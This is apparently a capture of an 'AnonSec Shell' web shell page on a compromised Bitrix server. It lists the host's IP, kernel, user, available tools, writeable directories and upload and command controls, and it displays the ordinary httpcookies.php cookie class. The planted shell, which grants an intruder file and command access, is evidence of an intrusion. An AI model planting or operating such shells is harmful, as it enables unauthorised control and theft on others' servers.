AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.142.54.94
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/main/lib/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/main/lib/web/httpcookies.php
<?php

/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2022 Bitrix
 */

namespace Bitrix\Main\Web;

use Bitrix\Main\ArgumentTypeException;

class HttpCookies extends \Bitrix\Main\Type\Dictionary
{
	/** @var Http\Cookie[]  */
	protected $values = [];

	/**
	 * @param string[] | Http\Cookie[] | null $values
	 */
	public function __construct(array $values = null)
	{
		if ($values !== null)
		{
			foreach ($values as $key => $value)
			{
				if (!($value instanceof Http\Cookie))
				{
					$value = new Http\Cookie($key, $value);
				}
				$this[$key] = $value;
			}
		}
	}

	/**
	 * Implodes cookies to 'name=value' pairs with a '; ' separator (useful for 'Cookie' header).
	 * @return string
	 */
	public function implode(): string
	{
		$str = '';
		foreach ($this->values as $cookie)
		{
			$str .= ($str == '' ? '' : '; ') . rawurlencode($cookie->getName()) . '=' . rawurlencode($cookie->getValue());
		}
		return $str;
	}

	public function addFromString(string $str): void
	{
		if (($pos = strpos($str, ';')) !== false && $pos > 0)
		{
			$cookie = trim(substr($str, 0, $pos));
		}
		else
		{
			$cookie = trim($str);
		}
		$arCookie = explode('=', $cookie, 2);

		$name = rawurldecode($arCookie[0]);
		$value = rawurldecode($arCookie[1]);

		// TODO: a cookie has more attributes
		$this[$name] = new Http\Cookie($name, $value);
	}

	public function toArray()
	{
		$cookies = [];
		foreach ($this->values as $cookie)
		{
			$cookies[$cookie->getName()] = $cookie->getValue();
		}
		return $cookies;
	}

	#[\ReturnTypeWillChange]
	public function offsetSet($offset, $value)
	{
		if (!($value instanceof Http\Cookie))
		{
			throw new ArgumentTypeException('value', Http\Cookie::class);
		}
		parent::offsetSet($offset, $value);
	}
}

Anon7 - 2022
AnonSec Team